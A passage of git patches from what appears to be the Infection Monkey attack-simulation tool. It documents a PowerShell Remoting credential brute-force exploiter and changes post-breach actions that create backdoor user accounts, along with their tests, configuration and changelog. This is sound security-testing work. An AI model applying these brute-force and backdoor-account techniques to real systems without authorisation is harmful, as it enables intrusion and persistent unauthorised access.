  • ); } export function powershellIssueReport(issue) { From e9ac64f10832174ab8dc9a0ba556821150c72437 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 27 Aug 2021 11:18:16 +0200 Subject: [PATCH 068/454] docs: Add better documentation for powershell remoting exploiter --- .../reference/exploiters/powershell.md | 51 ++++++++++++++++++- 1 file changed, 49 insertions(+), 2 deletions(-) diff --git a/docs/content/reference/exploiters/powershell.md b/docs/content/reference/exploiters/powershell.md index 8c7e96d29..5ab8a56c6 100644 --- a/docs/content/reference/exploiters/powershell.md +++ b/docs/content/reference/exploiters/powershell.md @@ -4,7 +4,54 @@ date: 2021-08-24T12:19:21+03:00 draft: false tags: ["exploit", "windows"] --- + ### Description -PowerShell Remoting exploit brute forces machines via WinRM service using credentials provided by the user -(see ["configuration"]({{< ref "/usage/configuration" >}}) for instructions) . +PowerShell Remoting is a brute-force exploit that uses PowerShell Remoting Protocol (PSRP) and +Windows Remote Management(WinRM) services to propagate to a victim. + +### PowerShell Remoting Protocol + +PowerShell Remoting Protocol uses Windows Remote Management service, which is Microsoft implementation of Web Services +for Management (WS-Management) protocol, to allow users to run PowerShell commands on remote computers. + +PowerShell Remoting and WinRM listens on the following ports: +1. HTTP: 5895 +2. HTTPS: 5896 + +By default, PowerShell Remoting only allows connections from members of the Administrators group. Sessions are launched +under the user's context, so all operating system access controls applied to individual users and groups continue to apply +to them while connected over PowerShell Remoting. + +On private networks, the default Windows Firewall rule for PowerShell Remoting accepts all connections. On public networks, +the default Windows Firewall rule allows PowerShell Remoting connections only from within the same subnet. You have to +explicitly change that rule to open PowerShell Remoting to all connections on a public network. + +More on [PowerShell Remoting Protocol]("https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1"). + +### Windows Remote Management + +Windows Remote Management (WinRM) is the Microsoft implementation of WS-Management Protocol, a standard Simple Object +Access Protocol (SOAP)-based, firewall-friendly protocol that allows hardware and operating systems, from different +vendors, to interoperate. + +More on [Windows Remote Management]("https://docs.microsoft.com/en-us/windows/win32/winrm/portal"). + +### Implementation + +The exploit brute forces the credentials of PSRP with every possible combination of username and password that +the user provides (see ["configuration"]({{< ref "/usage/configuration" >}})). + +#### Credentials list + +The PowerShell Remoting Client has ability to use the cached username or/and password from the system we are currently +log in. That means that the exploiter uses the following combination of credentials to propagate to the victim in the order written: + +1. Username = None and Password = None; which means that the client we use is going to take the stored credentials +from the system we are using to connect. In order for the user to connect without entering username and password +the victim must have enabled basic authentication, http and no encryption on the victim machine. + +2. Username list of usernames and Password = None; brute-force with different usernames and None as +password which means that we use the cached one from the system. + +3. List of usernames and passwords as plain-text entered by the user. From 54f80df1f43e2e42dda543e157657e8b981fb3a6 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 30 Aug 2021 15:12:35 +0530 Subject: [PATCH 069/454] bb: Remove extra line from end of file --- envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py | 1 - 1 file changed, 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index aa12bfe73..0151cda6f 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -79,4 +79,3 @@ def run_gcp_pool(gcp_command, machine_list): arglist = [(gcp_command, machine_list[zone], zone) for zone in machine_list] with Pool(2) as pool: pool.map(run_gcp_command, arglist) - From f727e75697d044930bf16b77ad2b40c6459d0690 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 30 Aug 2021 14:12:29 +0530 Subject: [PATCH 070/454] agent: Use random password for CommunicateAsNewUser PBA --- .../post_breach/actions/communicate_as_new_user.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 161adfb0d..79747a5bf 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -10,6 +10,7 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.auto_new_user_factory import create_auto_new_user from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.new_user_error import NewUserError +from infection_monkey.utils.random_password_generator import get_random_password INFECTION_MONKEY_WEBSITE_URL = "https://infectionmonkey.com/" @@ -21,7 +22,6 @@ CREATED_PROCESS_AS_USER_FAILED_FORMAT = ( ) USERNAME_PREFIX = "somenewuser" -PASSWORD = "N3WPa55W0rD!1" logger = logging.getLogger(__name__) @@ -29,8 +29,8 @@ logger = logging.getLogger(__name__) class CommunicateAsNewUser(PBA): """ This PBA creates a new user, and then creates HTTPS requests as that user. This is used for a - Zero Trust test of the - People pillar. See the relevant telemetry processing to see what findings are created. + Zero Trust test of the People pillar. See the relevant telemetry processing to see what findings + are created. """ def __init__(self): @@ -39,7 +39,8 @@ class CommunicateAsNewUser(PBA): def run(self): username = CommunicateAsNewUser.get_random_new_user_name() try: - with create_auto_new_user(username, PASSWORD) as new_user: + password = get_random_password() + with create_auto_new_user(username, password) as new_user: http_request_commandline = CommunicateAsNewUser.get_commandline_for_http_request( INFECTION_MONKEY_WEBSITE_URL ) From 0f2f39f0a03b1aae763ab73d73f7a01ce933b0f1 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 30 Aug 2021 14:54:09 +0530 Subject: [PATCH 071/454] CHANGELOG: Update with entry for random password for CommunicateAsNewUser PBA --- CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1dc95da43..4c6965c8e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,6 +22,9 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Malfunctioning timestomping PBA. #1405 - Malfunctioning shell startup script PBA. #1419 +### Security +- Generate a random password when creating a new user for CommunicateAsNewUser PBA. #1434 + ## [1.11.0] - 2021-08-13 ### Added - A runtime-configurable option to specify a data directory where runtime From deb037c6174b8adbf27a3f6b36b2e634bd252951 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 30 Aug 2021 16:12:08 +0530 Subject: [PATCH 072/454] tests: Add unit tests for communicate as back door user PBA --- .../test_communicate_as_backdoor_user.py | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_communicate_as_backdoor_user.py diff --git a/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_communicate_as_backdoor_user.py b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_communicate_as_backdoor_user.py new file mode 100644 index 000000000..2a1bf8f49 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_communicate_as_backdoor_user.py @@ -0,0 +1,38 @@ +from infection_monkey.post_breach.actions.communicate_as_new_user import ( + USERNAME_PREFIX, + CommunicateAsNewUser, +) + +URL = "this-is-where-i-wanna-go" + + +def test_get_random_new_user_name(): + username = CommunicateAsNewUser.get_random_new_user_name() + assert len(username) == len(USERNAME_PREFIX) + 5 + assert username.islower() + assert username.startswith(USERNAME_PREFIX) + + +def test_get_commandline_for_http_request_windows(): + cmd_line = CommunicateAsNewUser.get_commandline_for_http_request(URL, is_windows=True) + assert "powershell.exe" in cmd_line + assert URL in cmd_line + + +def test_get_commandline_for_http_request_linux_curl(monkeypatch): + monkeypatch.setattr( + "infection_monkey.post_breach.actions.communicate_as_new_user.shutil.which", + lambda _: "not None", + ) + cmd_line = CommunicateAsNewUser.get_commandline_for_http_request(URL, is_windows=False) + assert "curl" in cmd_line + assert URL in cmd_line + + +def test_get_commandline_for_http_request_linux_wget(monkeypatch): + monkeypatch.setattr( + "infection_monkey.post_breach.actions.communicate_as_new_user.shutil.which", lambda _: None + ) + cmd_line = CommunicateAsNewUser.get_commandline_for_http_request(URL, is_windows=False) + assert "wget" in cmd_line + assert URL in cmd_line From 7e293ac16d084e737d3d3fbde506f9f669616381 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 30 Aug 2021 10:54:23 +0200 Subject: [PATCH 073/454] Remove Backdoor user PBA --- .swm/tbxb2cGgUiJQ8Btma0fp.swm | 122 ------------------ .../common_consts/post_breach_consts.py | 1 - .../post_breach/actions/add_user.py | 18 --- monkey/infection_monkey/utils/users.py | 8 -- .../attack/technique_reports/T1136.py | 7 +- .../attack/technique_reports/pba_technique.py | 2 +- .../definitions/post_breach_actions.py | 8 -- .../cc/services/config_schema/monkey.py | 1 - .../monkey_config_standard.json | 1 - 9 files changed, 3 insertions(+), 165 deletions(-) delete mode 100644 .swm/tbxb2cGgUiJQ8Btma0fp.swm delete mode 100644 monkey/infection_monkey/post_breach/actions/add_user.py delete mode 100644 monkey/infection_monkey/utils/users.py diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm deleted file mode 100644 index 50ad35ca0..000000000 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ /dev/null @@ -1,122 +0,0 @@ -{ - "id": "tbxb2cGgUiJQ8Btma0fp", - "name": "Add a simple Post Breach action", - "task": { - "dod": "You should add a new PBA to the Monkey which creates a new user on the machine.", - "tests": [], - "hints": [ - "See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands.", - "Make sure to add the PBA to the configuration as well.", - "MITRE ATT&CK technique T1136 articulates that adversaries may create an account to maintain access to victim systems, therefore, the BackdoorUser PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report." - ] - }, - "content": [ - { - "type": "text", - "text": "Read [our documentation about adding a new PBA](https://www.guardicore.com/infectionmonkey/docs/development/adding-post-breach-actions/).\n\nAfter that we want you to add the BackdoorUser PBA. The commands that add users for Win and Linux can be retrieved from `get_commands_to_add_user` - make sure you see how to use this function correctly. \n\nNote that the PBA should impact the T1136 MITRE technique as well! \n\n# Manual test to confirm\n\n1. Run the Monkey Island\n2. Make sure your new PBA is enabled by default in the config - for this test, disable network scanning, exploiting, and all other PBAs\n3. Run Monkey\n4. See the PBA in the security report\n5, See the PBA in the MITRE report in the relevant technique\n" - }, - { - "type": "snippet", - "path": "monkey/common/common_consts/post_breach_consts.py", - "comments": [], - "firstLineNumber": 1, - "lines": [ - " POST_BREACH_COMMUNICATE_AS_NEW_USER = \"Communicate as new user\"", - "*POST_BREACH_BACKDOOR_USER = \"Backdoor user\"", - "+# Swimmer: PUT THE NEW CONST HERE!", - " POST_BREACH_FILE_EXECUTION = \"File execution\"", - " POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = \"Modify shell startup file\"", - " POST_BREACH_HIDDEN_FILES = \"Hide files and directories\"" - ] - }, - { - "type": "snippet", - "path": "monkey/infection_monkey/post_breach/actions/add_user.py", - "comments": [], - "firstLineNumber": 1, - "lines": [ - "*from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER", - "*from infection_monkey.config import WormConfiguration", - "*from infection_monkey.post_breach.pba import PBA", - "*from infection_monkey.utils.random_password_generator import get_random_password", - "*from infection_monkey.utils.users import get_commands_to_add_user", - "*", - "*", - "*class BackdoorUser(PBA):", - "* def __init__(self):", - "* random_password = get_random_password()", - "*", - "* linux_cmds, windows_cmds = get_commands_to_add_user(", - "* WormConfiguration.user_to_add, random_password", - "* )", - "*", - "* super(BackdoorUser, self).__init__(", - "* POST_BREACH_BACKDOOR_USER, linux_cmd=\" \".join(linux_cmds), windows_cmd=windows_cmds", - "* )" - ] - }, - { - "type": "snippet", - "path": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", - "comments": [], - "firstLineNumber": 1, - "lines": [ - " from common.common_consts.post_breach_consts import (", - "* POST_BREACH_BACKDOOR_USER,", - " POST_BREACH_COMMUNICATE_AS_NEW_USER,", - " )" - ] - }, - { - "type": "snippet", - "path": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", - "comments": [], - "firstLineNumber": 12, - "lines": [ - " unscanned_msg = \"Monkey didn't try creating a new user on the network's systems.\"", - " scanned_msg = \"Monkey tried creating a new user on the network's systems, but failed.\"", - " used_msg = \"Monkey created a new user on the network's systems.\"", - "* pba_names = [POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER]", - "+ pba_names = [POST_BREACH_COMMUNICATE_AS_NEW_USER]" - ] - }, - { - "type": "snippet", - "path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "comments": [], - "firstLineNumber": 5, - "lines": [ - " \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",", - " \"type\": \"string\",", - " \"anyOf\": [", - "* {", - "+ # Swimmer: Add new PBA here to config!", - "* \"type\": \"string\",", - "* \"enum\": [\"BackdoorUser\"],", - "* \"title\": \"Back door user\",", - "* \"safe\": True,", - "* \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",", - "* \"attack_techniques\": [\"T1136\"],", - "* },", - " {", - " \"type\": \"string\",", - " \"enum\": [\"CommunicateAsNewUser\"]," - ] - }, - { - "type": "text", - "text": "Take a look at the configuration of the island again - see the \"command to run after breach\" option we offer the user? It's implemented exactly like you did right now but each user can do it for themselves. \n\nHowever, what if the PBA needs to do stuff which is more complex than just running a few commands? In that case... " - } - ], - "symbols": {}, - "file_version": "2.0.1", - "meta": { - "app_version": "0.4.4-0", - "file_blobs": { - "monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3", - "monkey/infection_monkey/post_breach/actions/add_user.py": "26b048a492fcb6d319fc0c01d2f4a0bd302ecbc8", - "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": "dfc5945a362b88c1135f4476526c6c82977b02ee", - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "086dc85693ae02ddfa106099245c0f155139805c" - } - } -} diff --git a/monkey/common/common_consts/post_breach_consts.py b/monkey/common/common_consts/post_breach_consts.py index 25e6679cb..5198f0068 100644 --- a/monkey/common/common_consts/post_breach_consts.py +++ b/monkey/common/common_consts/post_breach_consts.py @@ -1,5 +1,4 @@ POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user" -POST_BREACH_BACKDOOR_USER = "Backdoor user" POST_BREACH_FILE_EXECUTION = "File execution" POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = "Modify shell startup file" POST_BREACH_HIDDEN_FILES = "Hide files and directories" diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py deleted file mode 100644 index 26b048a49..000000000 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ /dev/null @@ -1,18 +0,0 @@ -from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER -from infection_monkey.config import WormConfiguration -from infection_monkey.post_breach.pba import PBA -from infection_monkey.utils.random_password_generator import get_random_password -from infection_monkey.utils.users import get_commands_to_add_user - - -class BackdoorUser(PBA): - def __init__(self): - random_password = get_random_password() - - linux_cmds, windows_cmds = get_commands_to_add_user( - WormConfiguration.user_to_add, random_password - ) - - super(BackdoorUser, self).__init__( - POST_BREACH_BACKDOOR_USER, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds - ) diff --git a/monkey/infection_monkey/utils/users.py b/monkey/infection_monkey/utils/users.py deleted file mode 100644 index b2f29db85..000000000 --- a/monkey/infection_monkey/utils/users.py +++ /dev/null @@ -1,8 +0,0 @@ -from infection_monkey.utils.linux.users import get_linux_commands_to_add_user -from infection_monkey.utils.windows.users import get_windows_commands_to_add_user - - -def get_commands_to_add_user(username, password): - linux_cmds = get_linux_commands_to_add_user(username) - windows_cmds = get_windows_commands_to_add_user(username, password) - return linux_cmds, windows_cmds diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py index ed5a820a5..9280200de 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py @@ -1,7 +1,4 @@ -from common.common_consts.post_breach_consts import ( - POST_BREACH_BACKDOOR_USER, - POST_BREACH_COMMUNICATE_AS_NEW_USER, -) +from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique @@ -10,4 +7,4 @@ class T1136(PostBreachTechnique): unscanned_msg = "Monkey didn't try creating a new user on the network's systems." scanned_msg = "Monkey tried creating a new user on the network's systems, but failed." used_msg = "Monkey created a new user on the network's systems." - pba_names = [POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER] + pba_names = [POST_BREACH_COMMUNICATE_AS_NEW_USER] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py index 5460caf4c..8a09027db 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py @@ -22,7 +22,7 @@ class PostBreachTechnique(AttackTechnique, metaclass=abc.ABCMeta): """ :param post_breach_action_names: Names of post-breach actions with which the technique is associated - (example - `["Communicate as new user", "Backdoor user"]` for T1136) + (example - `["Communicate as new user"]` for T1136) :return: Mongo query that parses attack telemetries for a simple report component (gets machines and post-breach action usage). """ diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index 086dc8569..a77a95709 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -5,14 +5,6 @@ POST_BREACH_ACTIONS = { "might do after breaching a new machine. Used in ATT&CK and Zero trust reports.", "type": "string", "anyOf": [ - { - "type": "string", - "enum": ["BackdoorUser"], - "title": "Back door user", - "safe": True, - "info": "Attempts to create a new user on the system and delete it afterwards.", - "attack_techniques": ["T1136"], - }, { "type": "string", "enum": ["CommunicateAsNewUser"], diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index e745da582..4bff861c1 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -67,7 +67,6 @@ MONKEY = { "uniqueItems": True, "items": {"$ref": "#/definitions/post_breach_actions"}, "default": [ - "BackdoorUser", "CommunicateAsNewUser", "ModifyShellStartupFiles", "HiddenFiles", diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index a18fb0adc..b34a76feb 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -175,7 +175,6 @@ "PBA_windows_filename": "", "PBA_linux_filename": "", "post_breach_actions": [ - "BackdoorUser", "CommunicateAsNewUser", "ModifyShellStartupFiles", "HiddenFiles", From 10697934d6bde1fad9548171fb7382cee4c80022 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 30 Aug 2021 12:44:13 +0200 Subject: [PATCH 074/454] Rename Communicate as new user to Communicate as backdoor user --- CHANGELOG.md | 2 ++ .../development/adding-post-breach-actions.md | 6 +++--- monkey/common/common_consts/post_breach_consts.py | 2 +- monkey/common/common_consts/zero_trust_consts.py | 6 +++--- ...s_new_user.py => communicate_as_backdoor_user.py} | 12 +++++++----- .../cc/services/attack/technique_reports/T1136.py | 4 ++-- .../attack/technique_reports/pba_technique.py | 2 +- .../config_schema/definitions/post_breach_actions.py | 4 ++-- .../cc/services/config_schema/monkey.py | 2 +- .../cc/services/telemetry/processing/post_breach.py | 8 ++++---- ...s_new_user.py => communicate_as_backdoor_user.py} | 8 ++++---- .../monkey_configs/monkey_config_standard.json | 2 +- .../test_monkey_zt_finding_service.py | 6 +++--- 13 files changed, 34 insertions(+), 30 deletions(-) rename monkey/infection_monkey/post_breach/actions/{communicate_as_new_user.py => communicate_as_backdoor_user.py} (91%) rename monkey/monkey_island/cc/services/telemetry/zero_trust_checks/{communicate_as_new_user.py => communicate_as_backdoor_user.py} (88%) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4c6965c8e..37f0fec5b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -70,10 +70,12 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Improve runtime of some unit tests. #1125 - Run curl OR wget (not both) when attempting to communicate as a new user on Linux. #1407 +- Renamed Communicate as new user to Communicate as backdoor user. #1433 ### Removed - Relevant dead code as reported by Vulture. #1149 - Island logger config and --logger-config CLI option. #1151 +- Backdoor user post breach action. #1433 ### Fixed - Attempt to delete a directory when monkey config reset was called. #1054 diff --git a/docs/content/development/adding-post-breach-actions.md b/docs/content/development/adding-post-breach-actions.md index 659bb9473..91a5ad888 100644 --- a/docs/content/development/adding-post-breach-actions.md +++ b/docs/content/development/adding-post-breach-actions.md @@ -39,9 +39,9 @@ class MyNewPba(PBA): #### Implementation -If your PBA consists only of simple shell commands, you can reuse the generic PBA by passing the commands into the constructor. See the `add_user.py` PBA for reference. +If your PBA consists only of simple shell commands, you can reuse the generic PBA by passing the commands into the constructor. See the `account_discovery.py` PBA for reference. -Otherwise, you'll need to override the `run` method with your own implementation. See the `communicate_as_new_user.py` PBA for reference. Make sure to send the relevant PostBreachTelem upon success/failure. You can log during the PBA as well. +Otherwise, you'll need to override the `run` method with your own implementation. See the `communicate_as_backdoor_user.py` PBA for reference. Make sure to send the relevant PostBreachTelem upon success/failure. You can log during the PBA as well. ### Modify the Monkey Island @@ -73,4 +73,4 @@ Now you can choose your PBA when configuring the Infection Monkey on the Monkey #### Telemetry processing -If you wish to process your PBA telemetry (for example, to analyze it for report data), add a processing function to the `POST_BREACH_TELEMETRY_PROCESSING_FUNCS`, which can be found at `monkey/monkey_island/cc/services/telemetry/processing/post_breach.py`. You can reference the `process_communicate_as_new_user_telemetry` method as an example. +If you wish to process your PBA telemetry (for example, to analyze it for report data), add a processing function to the `POST_BREACH_TELEMETRY_PROCESSING_FUNCS`, which can be found at `monkey/monkey_island/cc/services/telemetry/processing/post_breach.py`. You can reference the `process_communicate_as_backdoor_user_telemetry` method as an example. diff --git a/monkey/common/common_consts/post_breach_consts.py b/monkey/common/common_consts/post_breach_consts.py index 5198f0068..01d314482 100644 --- a/monkey/common/common_consts/post_breach_consts.py +++ b/monkey/common/common_consts/post_breach_consts.py @@ -1,4 +1,4 @@ -POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user" +POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER = "Communicate as backdoor user" POST_BREACH_FILE_EXECUTION = "File execution" POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = "Modify shell startup file" POST_BREACH_HIDDEN_FILES = "Hide files and directories" diff --git a/monkey/common/common_consts/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py index 6df648e00..245884e4a 100644 --- a/monkey/common/common_consts/zero_trust_consts.py +++ b/monkey/common/common_consts/zero_trust_consts.py @@ -40,7 +40,7 @@ TEST_SCHEDULED_EXECUTION = "scheduled_execution" TEST_MALICIOUS_ACTIVITY_TIMELINE = "malicious_activity_timeline" TEST_SEGMENTATION = "segmentation" TEST_TUNNELING = "tunneling" -TEST_COMMUNICATE_AS_NEW_USER = "communicate_as_new_user" +TEST_COMMUNICATE_AS_BACKDOOR_USER = "communicate_as_backdoor_user" TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES = "scoutsuite_permissive_firewall_rules" TEST_SCOUTSUITE_UNENCRYPTED_DATA = "scoutsuite_unencrypted_data" TEST_SCOUTSUITE_DATA_LOSS_PREVENTION = "scoutsuite_data_loss_prevention" @@ -58,7 +58,7 @@ TESTS = ( TEST_DATA_ENDPOINT_HTTP, TEST_DATA_ENDPOINT_ELASTIC, TEST_TUNNELING, - TEST_COMMUNICATE_AS_NEW_USER, + TEST_COMMUNICATE_AS_BACKDOOR_USER, TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES, TEST_SCOUTSUITE_UNENCRYPTED_DATA, TEST_SCOUTSUITE_DATA_LOSS_PREVENTION, @@ -206,7 +206,7 @@ TESTS_MAP = { PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED], }, - TEST_COMMUNICATE_AS_NEW_USER: { + TEST_COMMUNICATE_AS_BACKDOOR_USER: { TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate " "with the internet from it.", FINDING_EXPLANATION_BY_STATUS_KEY: { diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py similarity index 91% rename from monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py rename to monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py index 79747a5bf..af46bc03b 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py @@ -4,7 +4,7 @@ import shutil import string import subprocess -from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER +from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.auto_new_user_factory import create_auto_new_user @@ -26,7 +26,7 @@ USERNAME_PREFIX = "somenewuser" logger = logging.getLogger(__name__) -class CommunicateAsNewUser(PBA): +class CommunicateAsBackdoorUser(PBA): """ This PBA creates a new user, and then creates HTTPS requests as that user. This is used for a Zero Trust test of the People pillar. See the relevant telemetry processing to see what findings @@ -34,14 +34,16 @@ class CommunicateAsNewUser(PBA): """ def __init__(self): - super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER) + super(CommunicateAsBackdoorUser, self).__init__( + name=POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER + ) def run(self): - username = CommunicateAsNewUser.get_random_new_user_name() + username = CommunicateAsBackdoorUser.get_random_new_user_name() try: password = get_random_password() with create_auto_new_user(username, password) as new_user: - http_request_commandline = CommunicateAsNewUser.get_commandline_for_http_request( + http_request_commandline = CommunicateAsBackdoorUser.get_commandline_for_http_request( INFECTION_MONKEY_WEBSITE_URL ) exit_status = new_user.run_as(http_request_commandline) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py index 9280200de..d2be05a9b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py @@ -1,4 +1,4 @@ -from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER +from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique @@ -7,4 +7,4 @@ class T1136(PostBreachTechnique): unscanned_msg = "Monkey didn't try creating a new user on the network's systems." scanned_msg = "Monkey tried creating a new user on the network's systems, but failed." used_msg = "Monkey created a new user on the network's systems." - pba_names = [POST_BREACH_COMMUNICATE_AS_NEW_USER] + pba_names = [POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py index 8a09027db..9e7324917 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py @@ -22,7 +22,7 @@ class PostBreachTechnique(AttackTechnique, metaclass=abc.ABCMeta): """ :param post_breach_action_names: Names of post-breach actions with which the technique is associated - (example - `["Communicate as new user"]` for T1136) + (example - `["Communicate as backdoor user"]` for T1136) :return: Mongo query that parses attack telemetries for a simple report component (gets machines and post-breach action usage). """ diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index a77a95709..88a3e8cb5 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -7,8 +7,8 @@ POST_BREACH_ACTIONS = { "anyOf": [ { "type": "string", - "enum": ["CommunicateAsNewUser"], - "title": "Communicate as new user", + "enum": ["CommunicateAsBackdoorUser"], + "title": "Communicate as backdoor user", "safe": True, "info": "Attempts to create a new user, create HTTPS requests as that " "user and delete the user " diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index 4bff861c1..da06123a9 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -67,7 +67,7 @@ MONKEY = { "uniqueItems": True, "items": {"$ref": "#/definitions/post_breach_actions"}, "default": [ - "CommunicateAsNewUser", + "CommunicateAsBackdoorUser", "ModifyShellStartupFiles", "HiddenFiles", "TrapCommand", diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index be7b6e7ea..5506ff54d 100644 --- 